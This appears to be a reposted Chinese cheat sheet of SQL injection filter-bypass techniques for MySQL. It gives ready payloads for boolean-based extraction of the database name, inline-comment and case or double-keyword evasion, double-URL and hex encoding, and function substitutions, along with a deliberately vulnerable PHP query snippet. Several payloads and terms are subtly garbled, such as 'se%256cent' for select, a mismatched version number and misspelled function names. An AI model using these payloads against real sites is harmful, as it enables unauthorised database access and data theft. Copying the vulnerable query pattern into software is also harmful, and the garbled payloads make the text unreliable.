概述
1.空格过滤绕过
可用
/**/
制表符(url编码为%09)
换行符(%0a)
括号
反引号 代替空格
mysql数据库有一个特性。在条件语句中,在 where id =1 后面加上 “=1”,成为where id =1 =1 ,就是对前面所有结果&1,查询的结果与原来一样。
where id =1 =0 就是对于前面所有结果&0 ,查询的结果为除去原有查询结果的其他数据,输出的是除去1以外的信息。利用MYSQL的此特性,构造括号绕过payload,可以进行bool注入。
id =1 =(ascii(mid(database() from (1) for(1)))=99)
输出的结果是id=1的结果,则说明是&1,数据库名的第一个字符ascll码为99
输出的不是id =1 的结果,则说明是&0,数据库名的第一个字符的ascll码不是99
from 和 for 绕过逗号过滤
2.内联注释绕过
myssql会执行放在/! ……/中的语句,可以利用这个特性绕过特殊符号过滤
/*50010!union*/ /*!select*/
其中,500010表示mysql的版本号,5.00.10,当实际数据库版本高于内联注释中的版本号时,就会执行内联注释中的代码。
3.大小写绕过
黑名单中可能只针对大写小写特殊符号
4.双写关键字绕过
selectselect
5.编码绕过
漏洞代码:
if(preg_match(' /select/i ' ,$_GET["id"])) {die("ERROR");} /*pre_match函数对GET型id参数进行了过滤,并对大小写情况进行了判断*/
else{
$id = $_GET['id'];
$sql = "SELECT * FROM user WHERE id =$id LIMIT 0,1"
$result = mysql_qurey($sql);
}
双重url编码绕过
id =1 and 1=2 union se%256cent 1,2 database()
十六进制编码绕过
MYSQL可以识别十六进制并对其进行自动转换
Unicode编码绕过
6.等价函数字符替换绕过
用like 或 in 代替 = 进行查询
sleep函数可用benchmark函数代替
ascii函数可用hex 、bin函数代替
最后
以上就是糟糕枕头为你收集整理的mysql 16进制 绕过_sql注入绕过的全部内容,希望文章能够帮你解决mysql 16进制 绕过_sql注入绕过所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复